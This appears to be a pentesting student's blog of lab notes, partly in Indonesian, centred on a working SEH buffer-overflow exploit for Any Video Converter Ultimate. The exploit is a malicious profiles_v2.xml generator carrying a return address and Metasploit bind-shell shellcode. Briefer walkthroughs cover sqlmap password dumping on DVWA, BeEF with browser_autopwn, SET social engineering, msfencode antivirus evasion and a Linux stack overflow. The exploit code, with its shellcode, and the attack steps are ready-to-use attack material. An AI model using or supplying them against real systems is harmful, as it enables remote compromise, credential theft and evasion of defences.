Exploit Any Video Converter Ultimate With Buffer Overflow SEH

I try for make fuzzer so application Any Video Converter Ultimate crushed with order

Referensi-->(Based on POC by Vulnerability-Lab (http://www.exploit-db.com/exploits/18717/))

file="profiles_v2.xml"

data1= "\x41" * 3500

poc="<root>\n"

poc=poc + "<categories>\n"

poc=poc + "<category name=\"" + data1 +"\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n"

poc=poc + "</categories>\n"

poc=poc + "<groups></groups>\n<profiles></profiles>\n</root>\n"

try:

    print "[*] Creating exploit file...\n"

    writeFile = open (file, "w")

    writeFile.write( poc )

    print "berhasil berhasil hore"

except:

    print "sial gagal"

    sys.exit()

after than I copy file profiles_v2.xml and paste to C:\Program Files\AnvSoft\Any Video Converter Ultimate

now I check whether the value EIP already crushed.. and the results

Next, i search the location command POP, POP RETN in this module 

next I will make pattern_create and after be value from pattern_create then inserted on fuzzer made earlier

#!/usr/bin/python

file="profiles_v2.xml"

data1= "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al"

poc="<root>\n"

poc=poc + "<categories>\n"

poc=poc + "<category name=\"" + data1 +"\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n"

poc=poc + "</categories>\n"

poc=poc + "<groups></groups>\n<profiles></profiles>\n</root>\n"

try:

    print "[*] Creating exploit file...\n"

    writeFile = open (file, "w")

    writeFile.write( poc )

    print "berhasil berhasil hore"

except:

    print "sial gagal"

    sys.exit()

next i try to choose the module that i will use to search the address that saved command POP, POP RETN inside it.That address will use to overwritte the SEH address in application.

and I search file tpye .dll on any video converter ultimate witn order nosafeseh in immunity and the results

last I search value from pattern_offset for insert into the my fuzzer with orders

From the result above, i can see if the buffer value \x41 has succes entry inside the SEH Handler. Ok, next i modification my fuzzer script again.

#!/usr/bin/python

file="profiles_v2.xml"

data1= "\x90" * 328

data1+= "\xcc\xcc\xcc\xcc"

data1+= "\xe4\xf3\x04\x10"

data1+= "\x90" * (354-len(data1))

poc="<root>\n"

poc=poc + "<categories>\n"

poc=poc + "<category name=\"" + data1 +"\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n"

poc=poc + "</categories>\n"

poc=poc + "<groups></groups>\n<profiles></profiles>\n</root>\n"

try:

    print "[*] Creating exploit file...\n"

    writeFile = open (file, "w")

    writeFile.write( poc )

    print "berhasil berhasil hore"

except:

    print "sial gagal"

    sys.exit()

then I i try to make the payload by using the Metasploit Web Based. This time, i try to use Windows Bind Shell Payload and i got the payload like this

And then i copy again that shellcode to my fuzzer script.

#!/usr/bin/python

file="profiles_v2.xml"

data1= "\x90" * 328
data1+= "\xeb\x06\x90\x90"
data1+= "\xe4\xf3\x04\x10"
data1+= ("\xb8\xe1\x4a\x5d\x6b\xdd\xc6\x33\xc9\xd9\x74\x24\xf4\x5b\xb1\x51"
"\x31\x43\x12\x83\xeb\xfc\x03\xa2\x44\xbf\x9e\xd8\x33\xd4\x2c\xc8"
"\x3d\xd5\x50\xf7\xde\xa1\xc3\x23\x3b\x3d\x5e\x17\xc8\x3d\x64\x1f"
"\xcf\x52\xed\x90\xd7\x27\xad\x0e\xe9\xdc\x1b\xc5\xdd\xa9\x9d\x37"
"\x2c\x6e\x04\x6b\xcb\xae\x43\x74\x15\xe4\xa1\x7b\x57\x12\x4d\x40"
"\x03\xc1\x86\xc3\x4e\x82\x88\x0f\x90\x7e\x50\xc4\x9e\xcb\x16\x85"
"\x82\xca\xc3\x3a\x97\x47\x9a\x50\xc3\x4b\xfc\x6b\x3a\xaf\x9a\xe0"
"\x7e\x7f\xe8\xb6\x8c\xf4\x9e\x2a\x20\x81\x1f\x5a\x64\xfe\x11\x14"
"\x96\x12\x7d\x57\x70\x8c\x2d\xc1\x15\x62\xe0\x65\x91\xf7\x36\x2a"
"\x09\x07\xe6\xbc\x7a\x1a\xfb\x07\x2d\x1a\xd2\x28\x44\x01\xbd\x57"
"\xbb\xc2\x40\x02\x2e\xd1\xbb\x7c\xc6\x0c\x4a\x89\xba\xf8\xb2\xa7"
"\x96\x55\x1e\x14\x4a\x19\xf3\xd9\x3f\x62\x23\xbb\xd7\x8d\x98\x25"
"\x7b\x27\xc1\x3c\x13\x93\x18\x4e\x23\x8c\xe3\x78\xc1\x23\x4d\xd1"
"\xe9\x94\x05\x7d\xb8\x3b\x3f\x2a\x3c\x95\xec\x81\x3d\xca\x7b\xcc"
"\x8b\x6d\x32\x59\xf3\xa4\x95\x31\x5f\x1c\xe9\x69\xcc\xf6\xf2\xf0"
"\x35\x7f\xaa\xfd\x6c\xd5\xab\xd1\xf7\xbc\x37\xb7\x9f\x23\xd5\xbe"
"\x85\xce\x75\x99\x6c\xc3\xff\xfe\x05\x9f\x76\xe2\xeb\xdf\x7a\x48"
"\xf5\xa2\x51\x72\x48\x0f\x39\x07\x37\x77\x96\xbc\x63\xef\x9a\x3c"
"\xc0\xe6\xa5\xb5\x63\xf8\x8c\x6e\x3b\x54\x60\xc1\x92\x32\x83\xb0"
"\x45\x96\xd2\xcd\xb6\x70\x78\xe8\x32\x4f\xd1\xf5\xeb\x25\x29\xf6"
"\x23\x45\x05\x83\x1b\x45\x25\x57\xc7\x4a\xfc\x05\xf7\x65\x69\x59"
"\x8d\x82\x35\xca\x6d\x5c\x36\x3c"")
data1+= "\x90" * (354-len(data1))

poc="<root>\n"

poc=poc + "<categories>\n"

poc=poc + "<category name=\"" + data1 +"\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n"

poc=poc + "</categories>\n"

poc=poc + "<groups></groups>\n<profiles></profiles>\n</root>\n"

try:

    print "[*] Creating exploit file...\n"

    writeFile = open (file, "w")

    writeFile.write( poc )

    print "berhasil berhasil hore"

except:

    print "sial gagal"

    sys.exit()

Next, i run the fuzzer script again and run telnet with command telnet 192.168.56.101 4444

And then the result was like this

exploit DVWA dengan sqlmap(updated)

firsh we running ubuntu in virtual box and open browser and write  192.168.56.1/dvwa then we running in attacer n open dvwa and picture as below:

and we running sqlmap than we write order as below

after then we write order in sqlmap as image in below, use for see database any kind of existing

then we insert the cookie and php but i trying to insert security high, this manner still be

then we delete --dbs and change with --user --passwords  use is looking user and password but here security just high

and i change security from high become medium,  last we can password

then we insert in database mysql with write order mysql -h ip -u root -p

to be continue

Beef with Backtrack(upgrade last monday)

firsh we running Beef-ng

insert link url in browser

and appear image bellow

after than appear image bellow

when victim open portal akademik.htm and than appear image bellow

than we cek  link beef  in open and than appear image bellow

after than we write msfconsole and  entry in auxiliary/server/browser_autopwn as image bellow

after than we write Payload_win32 as image bellow

and write_Java as image bellow

and we choose where one wants to run as image bellow

result execution

AUXILIARY PortScan

a way are used for search information what we need, example information domain email,portscan, ect.

i here scan port windows with auxiliary and port the open as above

Social Engineering And SET( Social Engineering Toolkit)

Social engineering is the acquisition of information, or edicts, secret / sensitive by cheating the owner of such information. Social engineering is typically done via telephone or Internet. Social engineering is one of the methods used by hackers to gain information about the target, by requesting the information directly to the victim or others who have that information.

The Social-Engineer Toolkit (SET) is specifically designed to perform advanced attacks against the human element. SET was designed to be released with the http://www.social-engineer.org/ launch and has quickly became a standard tool in a penetration testers arsenal

up here i still confused beacose we insert port used......

What is msfencode, msfpayload and example

msfpayload is a command-line instance of metasploit that is used to generate and output all or the various type of shellcode that are available in metasploit.

msfencode is The shellcode generated by msfpayload is fully functional, but it contains several
null characters that, when interpreted by many programs, signify the
end of a string, and this will cause the code to terminate before completion.
In other words, those x00s and xffs can break your payload!
In addition, shellcode traversing a network in cleartext is likely to be
picked up by intrusion detection systems (IDSs) and antivirus software. To
address this problem, Metasploit’s developers offer msfencode, which helps
you to avoid bad characters and evade antivirus and IDSs by encoding the
original payload in a way that does not include “bad” characters. Enter
msfencode -h to see a list of msfencode options.
Metasploit contains a number of different encoders for specific situations.
Some will be useful when you can use only alphanumeric characters as part
of a payload, as is the case with many file format exploits or other applications
that accept only printable characters as input, while others are great general
purpose encoders that do well in every situation.
When in doubt, though, you really can’t go wrong with the x86/shikata_
ga_nai encoder, the only encoder with the rank of Excellent, a measure of
the reliability and stability of a module. In the context of an encoder, an
Excellent ranking implies that it is one of the most versatile encoders and
can accommodate a greater degree of fine-tuning than other encoders. To
see the list of encoders available, append -l to msfencode as shown next. The
payloads are ranked in order of reliability

Stack overflow Linux exploit

firsh we stop ASLR result as image above after that we make script program C example my script : #include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buffer[500];
strcpy(buffer, argv[1]);

return 0;
}

we compile, load it in a debugger and try to trigger out buffer overflow.
Figure

than we adding the -fno-stack-protector and -mpreferred-stack-boundary=2 after than we write run $(python -c 'print "\x41" * 505') and run $(python -c 'print "\x41" * 508') use to show value eip

info registers use to see info register from eip,eax,ecx,ebx, etc.

 used for many characters could enter

after that we write list point for look script we make.than we write break 7 for stop on number 7

point for shows script exploit-db....

picture in above used to see what value after change
image in bellow point for  use to see what value eip after crushed

we running exploit, but there is minor issuses, i will add nop and we run exploit change

and result is